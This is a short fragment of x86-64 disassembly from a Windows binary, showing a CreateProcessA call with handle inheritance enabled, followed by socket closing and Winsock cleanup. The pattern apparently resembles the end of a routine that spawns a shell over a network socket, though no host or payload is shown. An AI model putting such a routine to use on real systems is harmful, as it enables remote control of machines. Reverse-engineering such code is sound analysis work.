mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000f463
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x630
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
call sym.handleErrors
nop
nop
nop
nop
nop
nop
nop
nop